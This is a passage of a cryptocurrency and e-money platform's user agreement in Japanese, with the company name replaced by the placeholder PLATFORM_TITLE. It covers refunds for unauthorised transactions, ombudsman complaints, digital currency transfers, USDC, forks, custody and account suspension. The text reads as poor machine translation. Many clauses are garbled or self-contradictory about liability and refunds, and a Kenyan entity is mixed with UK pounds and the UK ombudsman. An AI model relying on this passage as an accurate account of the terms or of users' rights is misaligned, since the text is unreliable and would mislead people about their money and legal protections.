4.7電子マネーに交換します。ウェブサイト内のオプションを選択し、説明された通りに電子マネーウォレットの電子マネーの全部または一部を受け取ることができます。別の約束がない限り、資金はあなたが登録した銀行口座に振り込まれます。本契約が終了した場合、私たちはあなたのe-moneyウォレットの中の残りのe-moneyを買い戻し、私たちが登録した銀行口座に資金を振り込むことを試みます。電子マネーのウォレットから電子マネーに交換する前に、詐欺、マネーロンダリング、テロ資金調達、その他の金融犯罪を防止するために、適用法の要求に従って検査を行うことがあります。これは、イーマネーの抽出が我々の規制要件を満たすために、これらの検査が我々の合理的な満足度で完了するまで、阻止されるか遅延されることを意味するかもしれません。


4.8不正取引、不正取引です。電子マネーウォレットからあなたの信用証明を使用してデジタルマネーの購入および/または電子マネーの償還を開始する場合、私たちはあなたが別途の通知をしない限り、このような取引を許可したと仮定します。電子マネーのワレットを使用して不正な取引が行われたと思われる場合(「不正取引」)、または電子マネーのワレットを使用した取引が誤って実行されたり不完全であったと信じる理由がある場合(「誤った取引」)は、速やかにご連絡ください。いずれにしても、不正取引や誤った取引が発生してから13ヶ月後には遅れてはなりません。不正取引や不正確な取引を確実に特定し、できるだけ早くお知らせするために、電子マネーのウォレット残高と取引履歴を定期的にチェックしてください。当社は、この第4.8条に基づいて当社に通知されていない場合を除き、無許可取引または誤った取引に対するいかなるクレームも責任を負いません。この場合、以下の第4.9条に当社の責任が規定されています。さらに、次のセクション4.9で説明するように、詐欺、故意、または重大な過失によって不正取引または不正確な取引が発生した場合、私たちは、不正取引または不正確な取引の実際または潜在的な調査の間、不正取引または不正確な取引を請求する責任はありません。私たちはあなたのPLATFORM_TITLEアカウントの一時停止を保留し、さらなる損失を回避します。


4.9払い戻しの権利です。


(A)不正取引-電子マネーのワレットです。


私たちの失敗によってあなたの電子マネーのウォレットに不正取引が発生した場合、私たちは不正取引を知った次の営業日までにその取引の金額を返金してあなたの電子マネーを回復します。不正取引が発生していない場合、通貨のウォレットはそのままの状態になります。一般的に言えば、あなたが無許可取引を私達に通知した後、または私達がいつでも私達に通知する方法を提供できなかった後に発生した損失について、あなたは何の責任も負いません。あなたは紛失または盗難の信用証明の使用によってあなたの電子マネーのワレットで発生した不正取引(例えば、あなたがログインの詳細情報を保持できなかった場合)によるいかなる損失も、最初の35ポンドのPLATFORM_TITLEアカウントのセキュリティを負担します。電子マネーのワレットで不正な取引が発生することになります(例えば、故意に第三者と、または電子メール<br>メールの保護とパスワードのセキュリティに重大な不注意があった場合、両方(節3.2および/または4.10を除く)。あなたはこのような不正な取引のいずれかによって生じるすべての損失について責任を負います。最初の35ポンドだけではありません。


私たちとあなたとの間に許可されていない取引かどうかについて紛争がある場合、私たちは紛争を解決する間にあなたの電子マネーのウォレットに一時的に記入することができます(ただし義務はありません)。取引が許可されたことが確認された場合、事前にお知らせすることなくクレジットを取り消し、e-money Walletの声明に記載されているエラーを訂正することがありますが、この期間中にあなたのe-money Walletが一時的にロックされ、さらなる不正取引を避けることができますのでご注意ください。あなたのe-money財布に一時的に入金されたe-moneyを転送する場合、あなたはまた私たちに対して(債務として)責任を負います。


(B)誤取引-電子マネーのウォレットです。


私たちの行為やミスにより、あなたの電子マネーのウォレットで不正確な取引が行われた場合、私たちは直ちにその取引の金額を返金し、あなたの電子マネーのウォレットを不正確な取引が発生していない元の状態に戻します。私達はまた可能な限りあなたに合理的な通知を提供します。私たちはまた、私たちが責任を負う費用、およびあなたが不正確な取引のためにあなたが支払う必要があることを証明できるすべての金利を支払います。私たちがどのような責任を負うにせよ、あなたの要求に応じて、私たちはあなたが開始した任意の間違った取引を無料で追跡しようと試みます。しかし、このような取引を追跡できる保証はありません。


4.10監督する第三者の任命を受けます。chapt3.2に記載されているように、電子マネーのワレット(「監視された第三者」)にアクセスする適切な監視対象の第三者を指定することができます。そうすれば、このようなアクセスによって、監視対象の第三者があなたの取引および他のデータにアクセスする可能性があり、および/または、電子マネーのウォレットから送金を開始する可能性があることを理解すべきです。あなたは、上記のセクション3.2で説明されているように、あなたのPLATFORM_TITLEアカウントに対して監督された第三者がとるいかなる行動に対しても責任を負うことになります。我々は、以下の節4.11で説明するように、監督される第三者へのアクセスを拒否する権利を保持します。


4.11は規制された第三者との取引を拒否します。私たちは、電子マネーのワレットへの不正アクセス、マネーロンダリング、テロ資金調達、詐欺、またはその他の金融犯罪に関連する、客観的かつ十分な証拠のある理由で、規制されている第三者へのアクセスを拒否する可能性があります。この場合、法律で禁止されない限り、監視対象の第三者からのアクセスが拒否されたこととその理由をお知らせします。アクセス拒否の理由がもはや存在しないと確信したら、再度アクセスを許可します。


4.12同意します。こちらにPLATFORM_TITLEアカウントを開設することで、決済サービス(つまり電子マネーサービス)を提供することを明確に同意していただきます。PLATFORM_TITLEアカウントを閉じることでいつでもこの同意を取り消すことができます。疑問を避けるため、この同意は私達がデータ保護法律法規に従ってあなたの箇人情報またはあなたの権利を処理することとは関系ありません。以下のセクション11(データ保護)と私たちのプライバシーポリシーを参照して、私たちがあなたの個人データをどのように扱うか、そしてあなたが持つ権利を理解してください。


4.13金融監視員サービスです。PLATFORM_TITLE Paymentsがあなたの提供する電子マネーサービスに苦情を申し立てる場合、かつその苦情が第10.2条に規定された紛争手続きによって解決されない場合は、ファイナンシャル・オンブズ・サービス(FOS)に未解決の苦情を申し立てることができます。10.2条に規定された争議手続きが完了するまで、FOSに苦情を申し立てることはありません。FOSとFOSに問題を提出する資格のあるクレーマーのタイプに関する更なる情報は、以下の詳細情報を使用して見つけることができます:


住所:金融監視員サービス、トレーディングタワー、港湾取引所、ロンドン、E14 9SRです


電話番号は0800 023 4567または0300 123 9 123です


eメール:complaint.info@financial-ombudsman.org.ukです

5、デジタル通貨サービスです。


5.1総則です。デジタル通貨ワレットを利用すると、ウェブサイトを介して、PLATFORM_TITLEプラットフォーム以外のユーザーや第三者にデジタル通貨を送信したり、要求したり、受信したり、保管したりすることができます(このような取引はすべて「デジタル通貨取引」となります)。デジタル通貨交換サービスは、以下の方法を使用してPLATFORM_TITLEプラットフォーム上でデジタル通貨を購入することができます。(A) PLATFORM_TITLE Paymentsと一緒に所有しているe-moneyウォレット内のe-moneyから。


(B) PLATFORM_TITLEが支援する中央銀行発行通貨(例えばポンドやユーロ)です。および/またはです


(C)あなたのデジタル通貨ウォレットにある他のデジタル通貨です。逆に、プラットフォームPLATFORM_TITLEでデジタル通貨を販売する場合は、次のようなメッセージを受け取ることができます。


(D) PLATFORM_TITLE Paymentsでお持ちの電子マネーを入金します。


貨幣の財布です;


(E) PLATFORM_TITLEが支援する中央銀行発行通貨(例えばポンドやユーロ)です。および/またはです


(F)あなたのデジタル通貨ウォレット内の他のデジタル通貨です。PLATFORM_TITLEは、顧客がPLATFORM_TITLEプラットフォーム上でデジタル通貨を購入・販売することを促進し、支援します。


5.2法定通貨取引(電子マネーウォレットを使用しません)。デジタル通貨ウォレットに有効な支払い方法をリンクさせることで、対応デジタル通貨を購入することができます。あなたは私達にあなたの購入を完了するためにあなたの選択した支払い方法を使用して資金をデビットすることを許可します。できるだけ早くデジタル通貨をお渡ししようと試みますが、ご自身のデジタル通貨の取引状態が完了したと表示されるまで、ご選択の支払い方法から金額が差し引かれ、デジタル通貨がごデジタル通貨ウォレットにお渡しされる場合があります。デジタル通貨を販売することで、PLATFORM_TITLEがサポートする法定通貨(ポンドやユーロなど)と交換することができます。この場合、あなたは私たちがデジタル通貨ワレットからお金を引き落とし、販売取引を決済するためにあなたが選択した支払い方法に記入するコマンドを送信することを許可します。私たちはできるだけ早くこれらの説明書を送ります。私達がこのような指示を送った後の作業日が終了する前に、どの法定通貨もあなたの選択した支払い方法に記入されるべきです。


5.3取引を履行します。私たちは、デジタル通貨のすべての購入に合理的な努力を尽くすつもりですが、場合によってはそうはいかないかもしれません。このような場合、私たちはあなたに通知し、現在のレート(以下のように定義されています)で再度購入を試みるために承認を求めます。


5.4支払い方法の可用性です。支払い方法の利用可能性は、例えばあなたの位置、あなたが私たちに提供した識別情報、第三者の支払い処理業者によって課せられた制限など、多くの要因に依存します。


5.5変換料です。デジタル通貨を購入したり売ったりするたびに費用(「両替料」)がかかります。適用される変換料は、各取引の前にwebサイトに表示され、私たちが発行する領収書1枚1枚に記載されます。私たちはいつでも変換料を調整することができます。変換費用とその他の関連費用があなたの取引価値を上回る場合、私たちは取引を処理しません。PLATFORM_TITLE Kenya料金の完全なリストは、当社の価格設定および料金開示ページで見ることができます。


5.6為替レートです。デジタル通貨を買ったり売ったりするたびに、与えられた取引の為替レートの影響を受けます。「為替レート」とは、サイト上で法定通貨として表示されている支持デジタル通貨の所与の価格のことです。為替レートは「買い値」または「売り値」で表示され、デジタル通貨をそれぞれ購入または売却できる価格です。あなたは任意の所与の時点で買値レートと売値レートが異なる可能性があることを認めて、そして私達は提示レートに手付金または「ポイント差」を追加するかもしれません。取引を許可するとき、あなたはレートを受け入れることに同意します。PLATFORM_TITLE Kenyaの為替レートに関する詳細な情報は、ウェブサイトの「価格設定と料金の開示」ページからおわかりいただけます。我々はいかなる為替レートの利用可能性も保証しません。私たちは、あなたが公開市場において、特定の価格または時間において、あなたのデジタル通貨を購入および/または販売できることを保証しません。


5.7授権します;逆転します;キャンセルします。ウェブサイト上の「購入」または「販売」ボタンをクリックすることで、PLATFORM_TITLEがオファーの購入価格または売却価格で取引を開始することを許可し、パートナーdへの変換料、交換料、その他任意の費用に同意します。完了または処理対象と表示された取引をキャンセル、撤回、または変更することはできません。お支払いが成功しなかったり、お支払い方法の資金が不足している場合は、取引をキャンセルするか、電子マネーのワレットおよび/またはデジタル通貨上の残高ワレットを含む他のお支払い方法から差し引くことを当社に委任して、必要な金額をすべて完了させます。あなたは支払プロバイダーが当座貸し越し、資金不足、または同様の料金を請求しないように、十分な残高および/または十分な信用限度を維持する責任があります。PLATFORM_TITLEは、このような支払い不足が解消されるまで、PLATFORM_TITLE消費者、PLATFORM_TITLE Proを含むPLATFORM_TITLEサービスへのアクセスを一時停止する権利を保持します。


5.8デジタル通貨の取引です。私たちは、あなたが受け取った指示に従ってデジタル通貨の取引を処理します。私たちに指示を出す前に、あなたはすべての取引情報を確認すべきです。私たちは、ユーザー、受信者、要求された側、または他の第三者のアイデンティティを保証するものではなく、あなたが提供する情報が正確で完全であることを保証する責任または義務を負いません。デジタル通貨の取引は、いったん当該デジタル通貨ネットワークに放送されると、廃止することはできません。受信者のメールアドレスや携帯電話番号を入力してデジタル通貨の取引を開始しても、受信者が既存のPLATFORM_TITLEアカウントを持っていない場合は、PLATFORM_TITLEアカウントの開設を呼びかけます。受取人が30日以内にPLATFORM_TITLEアカウントを開設していない場合、関連するデジタル通貨をあなたのデジタル通貨ウォレットに返金します。あなたに代わってデジタル通貨取引を処理するために、ネットワーク料金(「マイナー料金」)を請求する場合があります。マイナー料金の算定は当社で決定しますが、デジタル通貨取引の承認時(またはその前)には常にマイナー料金をお知らせします。PLATFORM_TITLEKenyaマイナー料金の完全なリストは、当社のウェブサイトの「価格設定と料金の開示」ページで見ることができます。取引ごとのマイナー手数料は、チェックアウトページでの購入時に開示されます。あなたまたは第三者が非PLATFORM_TITLEホストされた外部ワレットからPLATFORM_TITLEデジタル通貨ワレットにデジタル通貨を送信する場合、取引を開始した者は、取引をスムーズに完了させるためにマイナー手数料を支払うことも含めて、取引を正確に実行する責任を負います。作業者料金の不支払いにより、あなたの取引はPLATFORM_TITLE Kenyaの制御不能な処理対象状態になる可能性があります。取引の起動エラーによる遅延や損失については責任を負いませんし、そのような取引の救済に協力する義務もありません。いったんデジタル通貨ネットワークに提出すると、デジタル通貨の取引はしばらく確認されず、デジタル通貨ネットワークによる取引の確認が十分に行われるまで待ちます。処理対象のデジタル通貨の取引は未完了です。処理対象のデジタル通貨取引に関連するデジタル通貨は、それに応じて指定され、ネットワークが確認するまであなたのデジタル通貨ウォレット残高に含まれないか、またはデジタル通貨取引に利用可能です。また、マネーロンダリング、テロ資金調達、詐欺、またはその他の金融犯罪があった場合など、法律、規制、またはPLATFORM_TITLEが管轄する管轄区域内の裁判所またはその他の機関の要請に従って、処理対象となるデジタル通貨取引の処理を拒否し、または取り消すこともできます。


5.9でサポートされるデジタル通貨です。当社のデジタル通貨サービスは、PLATFORM_TITLEが対応しているデジタル通貨(「対応デジタル通貨」)のみに対応しており、時々変更される場合があります。いずれの場合も、当社がサポートしていない形態でデジタル通貨を保存、送信、要求、または受信しようとしては、あなたのデジタル通貨ウォレットを使用してはいけません。我々がサポートしていないデジタル通貨にあなたのデジタル通貨ウォレットを使用するいかなる試みについても、我々は責任または義務を負いません。PLATFORM_TITLEは、あなたのPLATFORM_TITLEアカウントに関連付けられたウォレットに送信されたサポートされていないいかなるアセットに対しても責任を負わないことを承認し、同意します。現在サポートしているデジタル通貨についてご質問がございましたら、https://help.PLATFORM_TITLE.comをご覧ください。


5.10でデジタル通貨のサポートが終了します。PLATFORM_TITLEは、任意のデジタル通貨のサポートを終了することを自ら決定することができます。PLATFORM_TITLEは、このようなサポートの終了を宣言するために、あなたのPLATFORM_TITLEアカウントに関連付けられた電子メールアドレスに少なくとも10日前に電子メールで通知します(適用される法律または規制当局がより短い期間を要求しない限り)。この期間中にプラットフォームの外でこのようなデジタル通貨を販売または送信しない場合、PLATFORM_TITLEはあなたのアカウントからこのようなデジタル通貨を引き出し、サポートしているデジタル通貨または法定通貨の市場価値をあなたのPLATFORM_TITLEアカウントに記入する権利を保持します(額面価格は私たちの合理的な裁量権にあります)。


5.11 USDCウォレットです。利用可能な場合は、PLATFORM_TITLEからUSD Coinを購入することもできます。これは完全にドル抵当型のデジタル通貨で、Circle Internet Financial(「Circle」)が発行し、PLATFORM_TITLE(「USDC」)がサポートしています。あなたは、あなたの「USDCウォレット」残高の所有者です(つまり、PLATFORM_TITLE Kenyaは、USDCを所有し、USDC内のデジタル通貨を取引するためにあなたのデジタル通貨ウォレットを提供します)。PLATFORM_TITLEはUSDCの発行者ではなく、USDC保有者のためにドル(「USD」)を保有しておらず、USDCをドルで買い戻す義務もありません。Circleを通じてUSDCを交換することができ、PLATFORM_TITLEはドルと交換してUSDCを買い戻すこともできます。あなたの同意を受けサークルusdc合意(https://support.usdc.circle.com/hc/en-us/articles/360001233386-circle-usdc-user-agreement)に条項の取り締まり、このプロトコルは、USDCに関する追加の義務、約束、および制限を提供します。


5.12経常デジタル通貨取引です。あなたがデジタル通貨の定期購入(「将来の取引」)を設定している場合、あなたの銀行口座に関連付けられたあなたの選択したデジタル通貨取引および任意の対応する支払い口座(例えば直接デビットまたはローン)に基づいて定期的な電子支払いを開始することを、私たちに許可します。あなたの将来の取引は、あなたまたはPLATFORM_TITLEが将来の取引をキャンセルするまで、あなたの選択した期間(例えば、毎日、毎週、毎月)に応じて同じ定期分割払いで行われます。将来の取引の支払い手段として銀行口座を選択した場合、当該取引が当該銀行が所在する地域の週末または祝日、または当該銀行の営業時間後に行われた場合、ローンまたはデビットは翌営業日に実行されますが、定期取引時にデジタル通貨の料金が請求されます。もしあなたの銀行がPLATFORM_TITLEへの支払いを処理できない場合、私たちはあなたに取引のキャンセルを通知し、本契約に規定されている救済措置を利用してPLATFORM_TITLEの未払い金額を回収することができます。この許可は、あなたが将来の取引設定を変更するまで、またはhttps://help.PLATFORM_TITLE.comを通じて私たちに書面通知を提供するまで、完全に有効なままです。PLATFORM_TITLEに関連付けられた銀行口座情報の変更を、今後の取引の前に書面で通知することに同意します。PLATFORM_TITLEはいつでもあなたに通知を出すことで将来の取引を終了することができます。


5.13追加協議除外します。webサイト上で明示的に宣言されない限り、またはPLATFORM_TITLEの公式な宣言によって、または本契約で規定された他の方法によって、サポートされるデジタル通貨は、サポートされるデジタル通貨を補完する、または相互作用する他のすべてのプロトコルおよび/または機能を含みません。この除外には、メタコイン、カラーコイン、サイドチェーンまたは他の派生、強化またはフォークプロトコル、トークンまたはコイン、または質、プロトコルガバナンス、および/またはサポートデジタル通貨を補完または相互作用する可能性のある任意のスマートコントラクト機能などが含まれますが、これらに限定されません。PLATFORM_TITLEプラットフォームは、これらの取引および機能を検出、保護、または処理するように構成されていないので、他の種類の取引を受信、要求、送信、保存、または参加する機能、またはそのような追加プロトコルに関与する機能をPLATFORM_TITLEアカウントを使用してはいけません。このような品物のいかなる取引の試みもその品物を失うことになります。本契約の規定を除き、追加契約はサポートされているデジタル通貨から除外され、PLATFORM_TITLEは追加契約に関連するいかなる損失に対しても責任を負いません。

5.14デジタル通貨プロトコルの操作です。私たちは、プラットフォーム上でサポートされているデジタル通貨の動作を管理するソフトウェアプロトコルを所有していませんし、制御もしていません。基本的に基本プロトコルは「オープンソース」であり、誰でも利用、複製、修正、配布することができます。我々は基礎となるプロトコルの運用について責任を負いません。我々はネットワークの運用の機能性や安全性を保証することはできません。あなたのデジタル通貨ワレットに保存されているあらゆるデジタル通貨に関連したソフトウェアプロトコルが変更される可能性があるというリスクを認め、受け入れます。特に、基本的なプロトコルは、「フォーク」を含むオペレーションルールの急な変化の影響を受ける可能性があります。このような重大な運用変更は、あなたのデジタル通貨ワレットに保存されているデジタル通貨の可用性、価値、機能、および/またはtの名前に大きな影響を及ぼす可能性があります。PLATFORM_TITLEは、このような大きなオペレーションの変化のタイミングや特徴を制御しません。あなたはこれから起こる運用の変化を自分自身に理解させる責任があり、影響を受けるデジタル通貨の取引のためにあなたのPLATFORM_TITLEアカウントを使用し続けるかどうかを判断する際には、利用可能な情報とPLATFORM_TITLEが提供する可能性のある情報を公開することを慎重に考慮しなければなりません。このような運用変更が発生した場合、PLATFORM_TITLEは、PLATFORM_TITLEのプラットフォーム上に保有する資産の安全性を保護するために必要な措置を取る権利を保持します。これには、関連するデジタル通貨の運用を一時的に停止する他の必要なステップが含まれます。PLATFORM_TITLEは、重大な運用変更に対する応答を通知するために最善を尽くします。ただし、このような変更はPLATFORM_TITLEの制御範囲外であり、PLATFORM_TITLEへの通知なしに発生する可能性があります。PLATFORM_TITLEは、新しいデジタル通貨、フォーク、その他のアクションを一切サポートしないという決定を含む、重大なオペレーション変更への対応を独自に決定します。あなたはデジタル通貨プロトコルの動作変更のリスクを認め、受け入れ、PLATFORM_TITLEはそのような動作変更の責任を負わず、また動作規則のこのような変更に起因するいかなる価値損失の責任も負わないことに同意します。PLATFORM_TITLEは、いかなる運営の変化に対する応答も、あなた自身で決定する権利があり、私たちは、サポートされていない通貨またはプロトコルの取り扱いを支援する責任はありません。


5.15いくつかのデジタル通貨の代替可能性です。PLATFORM_TITLEは、複数のブロックチェーン・プロトコル(例えば、第2層ネットワーク、第1層ネットワークの代わりに、またはサイドチェーン)にまたがる複数の異なる方法で、あなたのデジタル通貨ワレットにサポートされたデジタル通貨を保存することができることを承認し、同意します。あなたのデジタル通貨ワレットにサポートされたデジタル通貨を保有している場合、PLATFORM_TITLEはそのようなデジタル通貨を主要なブロックチェーン・プロトコルから移し、PLATFORM_TITLEが制御する共有ブロックチェーン・アドレス上に保存することができます。これらと互換性のある形で代替ブロックチェーン・プロトコルにプロトコルしています。あなたは、(a)このようなデジタル通貨の任意の形態を含むか、(b)このようなデジタル通貨の任意の形態を格納するブロックチェーン・プロトコルにかかわらず、複数のブロックチェーン・プロトコルにまたがって所有および提供されるすべての形態の同じデジタル通貨は、互換性があり、互いに等価であるとみなされることに同意します。


5.16デジタル通貨のストレージと転送遅延です。PLATFORM_TITLEグループは、デジタル通貨の秘密鍵をオンラインとオフラインを組み合わせた方法で安全に保存しています。我々のセキュリティプロトコルは、デジタル通貨取引の開始または記入を遅らせる可能性があります。


5.17第三者の支払いです。任意の第三者(デジタル通貨サービスの利用を含む)から利用する場合があります。私たちはあなたと取引を行う第三者の買い手または売り手が取引を完了するか、または許可されることを保証する責任はありません。デジタル通貨サービスを使用して第三者から購入または販売した商品またはサービスに問題がある場合、または第三者と紛争がある場合は、第三者と直接紛争を解決しなければなりません。第三者の行為が詐欺的、誤解を招く、または不適切な行為であると判断される場合、または第三者との紛争を十分に解決できない場合は、以下の方法でPLATFORM_TITLEのサポートを通知することができます:trust@PLATFORM_TITLE.comは、我々がどのような措置を取るかを検討するために。


5.18 PLATFORM_TITLE金庫です。PLATFORM_TITLEはマルチシグネチャ金庫の使用をサポートしていません。PLATFORM_TITLE Vaultのような他のサービスを利用することもできます。PLATFORM_TITLE Vaultは引き出し時間の遅延を設定し、デジタル通貨の保管と転送のための他の条件を作ることができます。そのような製品やサービスに関する別のルールが適用される場合があります。PLATFORM_TITLE Vaultに関するさらなる情報はこちらです:https://help.platform_title.com/customer/en/portal/articles/2877996-vaults-faq?b_id=13521。


5.19デジタル通貨のタイトルです。あなたのデジタル通貨ワレットに保有されているすべてのデジタル通貨は、PLATFORM_TITLEグループがあなたの利益のためにホストベースで保有している資産です。これは他にも意味します


(A)デジタル通貨の所有権は常にあなたにあり、PLATFORM_TITLEグループのいかなる会社にも譲渡してはなりません。あなたのデジタル通貨ワレットの中のデジタル通貨の所有者であるあなたは、そのデジタル通貨が失われるすべてのリスクを負うことになります。PLATFORM_TITLEグループ内のどの企業も、あなたのデジタルマネーワレットに保有するデジタル通貨の法定通貨価値の変動については責任を負いません。


(B)あなたのDigital Cu内のデジタル通貨rrencyワレットは、PLATFORM_TITLEの所有物ではありません。または、PLATFORM_TITLEに貸し出されるべき、または貸し出される可能性があります。PLATFORM_TITLEは、ユーザーのデジタル通貨ワレット内の資産を表示したり、PLATFORM_TITLEに属していると見なしたりしません。PLATFORM_TITLEは、あなたのデジタルカレントワレットに保有するデジタル通貨の担保権を付与することはできません。表面上有効な裁判所命令によって要求されるか、本契約に別項がない限り、PLATFORM_TITLEは、あなたが指示するか管轄権のある裁判所によって強制されない限り、デジタル通貨ワレット内のデジタル通貨を売却、譲渡、貸与、抵当、またはその他の方法で譲渡することはありません。


(C)あなたは、自分のデジタル通貨ウォレットに保有するデジタル通貨をコントロールします。いつでも、あなたのデジタル通貨は、中断、停止時間、および適用される他のポリシーに従って、あなたまたは第三者が制御する異なるブロックチェーンアドレスにデジタル通貨を送信することによって抽出することができます。


(D)顧客デジタル通貨をより安全に保有するために、PLATFORM_TITLEグループは、PLATFORM_TITLEグループのメンバーによって制御される共有ブロックチェーンアドレスを使用して、顧客および/またはPLATFORM_TITLEケニアが保有するデジタル通貨を保有することができます。顧客のデジタル通貨と、PLATFORM_TITLEグループ(PLATFORM_TITLEケニアを含む)独自のデジタル通貨または資金は、顧客とPLATFORM_TITLEグループのアカウントの別々の台帳によって分離されます。上記の規定にもかかわらず、PLATFORM_TITLEグループは、あなたが所有するデジタル通貨と他の顧客またはPLATFORM_TITLEグループが所有するデジタル通貨を異なるブロックチェーンアドレスで保存する義務はありません。PLATFORM_TITLEは、デジタル通貨、暗号または秘密鍵の紛失、盗難、故障、破損、その他の方法でアクセス不能になった場合、代替デジタル通貨の発行を義務付けていません。


5.20ハイレベルの取引です。PLATFORM_TITLEは、各種デジタル通貨と法定通貨の取引ペア(「註文簿」ごと)の註文簿をhttps://www.PLATFORM_TITLE.com/(「アドバンスドトレーディング」)上で提供しており、条件を満たしたユーザーがアクセスできます。プレミアムな取引で利用可能な註文リストを見るために、PLATFORM_TITLEのアカウントを確認します。PLATFORM_TITLEはすべての管轄区域の顧客に高度な取引を提供していません。Advanced TradingまたはPLATFORM_TITLE API for Advanced Tradingにアクセスすることで、取引規則に拘束されることを受け入れ、同意します。


(A)取引費用です。Advanced Tradingに註文することで、適用されるすべての料金を支払い、PLATFORM_TITLEが自動的にアカウントから引き落とされることを承認します。取引費用は取引規則で定められています。


(B)引き出し費用です。PLATFORM_TITLEは、いくつかの法定通貨の預金や引き出し方法(例えば、銀行の電信送金)に課金を課す可能性があります。預金や引き出しが制限される可能性があります。


(C)取引口座で使用します。あなたの取引口座へのアクセス権を、他のエンティティ、またはあなたの従業員や代理人ではない個人に販売、貸与、提供、またはその他の方法で許可または提供してはいけません。あなたは、あなたの従業員または代理人がAdvanced Tradingを使用することに対して、すべての責任を負います。そのような使用がPLATFORM_TITLEによって直接行われるか、あるいは、APIキーおよび/またはあなたが許可する可能性のあるアプリケーションによって促進されるかにかかわらず。あなたのアカウントに関連する識別子、権限、パスワード、セキュリティコードを含む、高度な取引に入るあらゆる註文、取引、およびその他の命令に対する責任を理解し、同意します。


(D)一時停止とキャンセルです。あなたのアカウントが停止または終了された場合、私たちは直ちにあなたのアカウントに関連するすべての未完了註文をキャンセルし、すべての引き出しを阻止し、それ以上の註文を禁止します。解決またはアカウントがキャンセルされるまで。


6.取引規制とデューデリジェンスの強化


6.1取引制限です。すべてのPLATFORM_TITLEサービスの利用は、取引量によって制限され、ポンド、ユーロ、またはその他の法定通貨またはデジタル通貨で表され、所与の時間帯(例えば毎日)に取引または送金を行うことができます。詳細は、付録2(検証手順と制限)をご参照ください。ご制限を確認するには、PLATFORM_TITLEのアカウントにログインして、https://<br>www.PLATFORM_TITLE.com/verificationsへアクセスしてください。あなたの取引限度額は、お支払い方法、完了した検証手順、その他の要因によって異なる場合があります。私たちは、私たちが必要と認める場合に適用制限を変更する権利を留保します。限度額を公表以上に引き上げたい場合は、https://help.PLATFORM_TITLE.comで請求することができます。


6.2デューデリジェンスを強化します。制限の引き上げをご希望の場合は、ご自身またはご業務に関するその他の情報の提出、記録の提供、PLATFORM_TITLEの従業員との会議の予定(「デューデリジェンスの強化」)を要求するかもしれません。私たちは、このような強化デューデリジェンスに関連したコストと費用を請求する権利を留保しますが、もし私たちがそうするつもりであるならば、あなたがこの請求を継続することを望むかどうかを決定するために、私たちはあなたに前もってお知らせします。私たちの判断によると、私たちはあなたの制限を高めることを拒否するか、またはあなたが強化デューデリジェンスを完了した場合でも、私たちはあなたの制限を後で下げるかもしれません。


7.Sは使用を一時停止して、終了して取り消します。


7.1停止、終了、およびキャンセルします。私たちはできます:(a) PLATFORM_TITLEアカウントから資金を差し引いても、許可された取引を完了または保留、阻止、キャンセルまたは撤回することを拒否します。(b)あらゆるPLATFORM_TITLEサービスへのアクセスを一時停止、制限、または終了します。および/または(c)いずれかの理由であなたのPLATFORM_TITLEアカウントを直ちに停止またはキャンセルします。以下を含みますがこれらに限定されません。


(A)私たちの評判を守るために必要だと信じる理由があります


(B)私たちは合理的に、適用される法律、規則、または私たちがいかなる管轄区域でもその管轄下にあるいかなる裁判所またはその他の当局が私たちにこのようなことを要求していると考えます。


(C)私達はあなたの行為が本契約に違反することを疑う理由があります;


(D)私たちはあなたが私たちの「行動ポリシー」または「使用禁止、業務禁止、条件付き使用ポリシー」に違反した疑いがある理由があります(付録1に記載)。


(E)取引エラーやあなたのPLATFORM_TITLEアカウントのセキュリティを心配します。あるいはPLATFORM_TITLEサービスが詐欺や不正な方法で使用されている疑いがあります。


(F)資金洗浄テロ資金調達詐欺その他の金融犯罪が疑われます


(G)あなたのPLATFORM_TITLEアカウントの使用は、係属中の訴訟、調査、または政府の手続きの影響を受けること、および/または私たちがあなたのPLATFORM_TITLEアカウントの活動に関連する法律または規制違反のリスクが増加すると考えることです。および/またはです


(H) PLATFORM_TITLEアカウントを複数開設したり、我々が時々提供する可能性のある販促キャンペーンを悪用するなど、我々のコントロールを回避する可能性のある行動を取ることです。あなたの電子通貨ワレット内の電子マネーが不十分である場合、および/またはあなたのデジタル通貨ワレット内のデジタルマネーが取引および適用されるように支払いに不十分である場合、また、私たちが取引の通知を受け取ったとき、またはあなたのクレジットカードまたはデビットカード、またはあなたのPLATFORM_TITLEアカウントまたはデジタル通貨ワレットに関連付けられた他の有効な支払い方法が拒否されたとき、許可された取引を完了または阻止、キャンセルまたは撤回することを拒否する可能性があります。

7.2当社が取引の完了および/またはPLATFORM_TITLEアカウントの停止、制限、または停止、および/またはPLATFORM_TITLEサービスの使用の終了を拒否する場合、当社の行動および拒否、停止、または停止の理由を(違法でない限り)お知らせします。また、適切な場合には、PLATFORM_TITLEアカウントの拒否、停止、または停止の原因となる事実上の誤りを訂正するプログラムです。私たちはPLATFORM_TITLEアカウントの取引完了および/または停止を拒否します。拒否および/または停止の原因がもはや存在しない場合、合理的に実行可能な限りできるだけ早く停止を解除または完了します。しかし、一時停止、撤回、またはキャンセルされた取引と同じ価格または同じ条件で取引を再開させる義務はありません。PLATFORM_TITLEサービスのいずれかまたはすべてへのアクセスを停止、制限、または終了し、かつ/またはPLATFORM_TITLEアカウントを2ヶ月前に通知することなく停止またはキャンセルする場合があります。PLATFORM_TITLEアカウントへのアクセス制限、一時停止、または停止を含む何らかの行動を取るという当社の決定が、当社のリスク管理およびセキュリティプロトコルにとって必要不可欠な機密基準に基づく可能性があることを承認されました。PLATFORM_TITLEがリスク管理およびセキュリティ手順の詳細をあなたに開示する義務がないことに同意します。


7.3終了または停止の結果です。何らかの理由で本契約が終了した場合、適用される法律またはPLATFORM_TITLEがいかなる管轄区域においてもその管轄下にある裁判所または他の命令で禁止されない限り、あなたはあなたのPLATFORM_TITLEアカウントにアクセスすることができます:


(A)その後90日以内に、あなたのデジタル通貨ウォレットおよび/またはPLATFORM_TITLEプラットフォームからデジタル通貨を転送する目的で行います。および/またはです


(B)この契約の終了日から6年以内の任意の時点で、あなたのe-moneyウォレットおよび/またはPLATFORM_TITLEプラットフォームからe-moneyを引き出すために使用されます。その間、PLATFORM_TITLEサービスまたはあなたのPLATFORM_TITLEアカウントを他のいかなる目的にも使用してはいけません。適宜、PLATFORM_TITLEプラットフォームの機能を制限するか、またはそれに応じてあなたのウェブサイトへのアクセスを制限することができます。私たちが何らかの理由であなたのPLATFORM_TITLEアカウントを一時停止または停止したり、PLATFORM_TITLEサービスの使用を終了したりした場合、私たちはあなたへの要求を保留します。


